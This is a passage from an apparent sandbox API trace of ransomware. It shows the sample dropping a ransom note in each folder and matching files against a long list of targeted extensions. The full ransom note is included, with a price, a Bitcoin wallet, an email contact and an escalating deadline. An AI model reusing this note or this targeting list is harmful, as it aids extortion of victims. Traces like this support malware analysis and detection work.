ftLastWriteTime.dwLowDateTime=0x5bb6297e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x1be00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="naphlpr.ni.dll", cAlternateFileName="NAPHLP~1.DLL")) returned 1 [0104.098] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.098] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="naphlpr.ni.dll") returned -1 [0104.098] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="naphlpr.ni.dll") returned -1 [0104.098] lstrcmpiA (lpString1="", lpString2="naphlpr.ni.dll") returned -1 [0104.098] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\*.*") returned="*.*" [0104.098] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\" [0104.098] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\") returned="" [0104.099] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\HOW TO DECRYPT FILES.txt" [0104.099] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\how to decrypt files.txt")) returned 0xffffffff [0104.099] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.100] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.100] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.102] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.102] CloseHandle (hObject=0x90) returned 1 [0104.102] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\", lpString2="naphlpr.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll" [0104.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.ems") returned 0 [0104.102] lstrlenA (lpString="*.ems") returned 5 [0104.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.db") returned 0 [0104.102] lstrlenA (lpString="*.db") returned 4 [0104.102] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.dbf") returned 0 [0104.102] lstrlenA (lpString="*.dbf") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.myox") returned 0 [0104.103] lstrlenA (lpString="*.myox") returned 6 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.myo") returned 0 [0104.103] lstrlenA (lpString="*.myo") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbw") returned 0 [0104.103] lstrlenA (lpString="*.qbw") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbb") returned 0 [0104.103] lstrlenA (lpString="*.qbb") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbm") returned 0 [0104.103] lstrlenA (lpString="*.qbm") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbo") returned 0 [0104.103] lstrlenA (lpString="*.qbo") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbx") returned 0 [0104.103] lstrlenA (lpString="*.qbx") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qba") returned 0 [0104.103] lstrlenA (lpString="*.qba") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qby") returned 0 [0104.103] lstrlenA (lpString="*.qby") returned 5 [0104.103] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qbj") returned 0 [0104.103] lstrlenA (lpString="*.qbj") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.ofx") returned 0 [0104.104] lstrlenA (lpString="*.ofx") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.qif") returned 0 [0104.104] lstrlenA (lpString="*.qif") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mye") returned 0 [0104.104] lstrlenA (lpString="*.mye") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mbox") returned 0 [0104.104] lstrlenA (lpString="*.mbox") returned 6 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.eml") returned 0 [0104.104] lstrlenA (lpString="*.eml") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.pst") returned 0 [0104.104] lstrlenA (lpString="*.pst") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.ost") returned 0 [0104.104] lstrlenA (lpString="*.ost") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.idx") returned 0 [0104.104] lstrlenA (lpString="*.idx") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.dbx") returned 0 [0104.104] lstrlenA (lpString="*.dbx") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.sql") returned 0 [0104.104] lstrlenA (lpString="*.sql") returned 5 [0104.104] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mdb") returned 0 [0104.104] lstrlenA (lpString="*.mdb") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.fdb") returned 0 [0104.105] lstrlenA (lpString="*.fdb") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.wab") returned 0 [0104.105] lstrlenA (lpString="*.wab") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.dat") returned 0 [0104.105] lstrlenA (lpString="*.dat") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.txt") returned 0 [0104.105] lstrlenA (lpString="*.txt") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.jpeg") returned 0 [0104.105] lstrlenA (lpString="*.jpeg") returned 6 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.jpg") returned 0 [0104.105] lstrlenA (lpString="*.jpg") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.png") returned 0 [0104.105] lstrlenA (lpString="*.png") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.php") returned 0 [0104.105] lstrlenA (lpString="*.php") returned 5 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.cs") returned 0 [0104.105] lstrlenA (lpString="*.cs") returned 4 [0104.105] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.cpp") returned 0 [0104.106] lstrlenA (lpString="*.cpp") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.rar") returned 0 [0104.106] lstrlenA (lpString="*.rar") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.zip") returned 0 [0104.106] lstrlenA (lpString="*.zip") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.html") returned 0 [0104.106] lstrlenA (lpString="*.html") returned 6 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.htm") returned 0 [0104.106] lstrlenA (lpString="*.htm") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.xlsx") returned 0 [0104.106] lstrlenA (lpString="*.xlsx") returned 6 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.xls") returned 0 [0104.106] lstrlenA (lpString="*.xls") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mp4") returned 0 [0104.106] lstrlenA (lpString="*.mp4") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.ppt") returned 0 [0104.106] lstrlenA (lpString="*.ppt") returned 5 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.pptx") returned 0 [0104.106] lstrlenA (lpString="*.pptx") returned 6 [0104.106] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.doc") returned 0 [0104.107] lstrlenA (lpString="*.doc") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.dot") returned 0 [0104.107] lstrlenA (lpString="*.dot") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.docx") returned 0 [0104.107] lstrlenA (lpString="*.docx") returned 6 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.7z") returned 0 [0104.107] lstrlenA (lpString="*.7z") returned 4 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.tar") returned 0 [0104.107] lstrlenA (lpString="*.tar") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.bz2") returned 0 [0104.107] lstrlenA (lpString="*.bz2") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.gz") returned 0 [0104.107] lstrlenA (lpString="*.gz") returned 4 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mkv") returned 0 [0104.107] lstrlenA (lpString="*.mkv") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.eml") returned 0 [0104.107] lstrlenA (lpString="*.eml") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.msg") returned 0 [0104.107] lstrlenA (lpString="*.msg") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.edb") returned 0 [0104.107] lstrlenA (lpString="*.edb") returned 5 [0104.107] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.accdb") returned 0 [0104.108] lstrlenA (lpString="*.accdb") returned 7 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.odb") returned 0 [0104.108] lstrlenA (lpString="*.odb") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.java") returned 0 [0104.108] lstrlenA (lpString="*.java") returned 6 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.asm") returned 0 [0104.108] lstrlenA (lpString="*.asm") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.pfx") returned 0 [0104.108] lstrlenA (lpString="*.pfx") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.pem") returned 0 [0104.108] lstrlenA (lpString="*.pem") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.p12") returned 0 [0104.108] lstrlenA (lpString="*.p12") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.gpg") returned 0 [0104.108] lstrlenA (lpString="*.gpg") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.vsd") returned 0 [0104.108] lstrlenA (lpString="*.vsd") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.odg") returned 0 [0104.108] lstrlenA (lpString="*.odg") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.raw") returned 0 [0104.108] lstrlenA (lpString="*.raw") returned 5 [0104.108] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.nef") returned 0 [0104.109] lstrlenA (lpString="*.nef") returned 5 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.svg") returned 0 [0104.109] lstrlenA (lpString="*.svg") returned 5 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.psd") returned 0 [0104.109] lstrlenA (lpString="*.psd") returned 5 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.vmx") returned 0 [0104.109] lstrlenA (lpString="*.vmx") returned 5 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.vmdk") returned 0 [0104.109] lstrlenA (lpString="*.vmdk") returned 6 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.vdi") returned 0 [0104.109] lstrlenA (lpString="*.vdi") returned 5 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.lay6") returned 0 [0104.109] lstrlenA (lpString="*.lay6") returned 6 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mpeg") returned 0 [0104.109] lstrlenA (lpString="*.mpeg") returned 6 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.djvu") returned 0 [0104.109] lstrlenA (lpString="*.djvu") returned 6 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.tiff") returned 0 [0104.109] lstrlenA (lpString="*.tiff") returned 6 [0104.109] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.backup") returned 0 [0104.109] lstrlenA (lpString="*.backup") returned 8 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.pdf") returned 0 [0104.110] lstrlenA (lpString="*.pdf") returned 5 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.cert") returned 0 [0104.110] lstrlenA (lpString="*.cert") returned 6 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.docm") returned 0 [0104.110] lstrlenA (lpString="*.docm") returned 6 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.xlsm") returned 0 [0104.110] lstrlenA (lpString="*.xlsm") returned 6 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.dwg") returned 0 [0104.110] lstrlenA (lpString="*.dwg") returned 5 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.nd") returned 0 [0104.110] lstrlenA (lpString="*.nd") returned 4 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.tlg") returned 0 [0104.110] lstrlenA (lpString="*.tlg") returned 5 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.lgb") returned 0 [0104.110] lstrlenA (lpString="*.lgb") returned 5 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mov") returned 0 [0104.110] lstrlenA (lpString="*.mov") returned 5 [0104.110] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.xdw") returned 0 [0104.110] lstrlenA (lpString="*.xdw") returned 5 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.ods") returned 0 [0104.111] lstrlenA (lpString="*.ods") returned 5 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.wav") returned 0 [0104.111] lstrlenA (lpString="*.wav") returned 5 [0104.111] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\naphlpr\\3905ee11acabb6d202a69b8bfa3c91a0\\naphlpr.ni.dll", pszSpec="*.mp3") returned 0 [0104.111] lstrlenA (lpString="*.mp3") 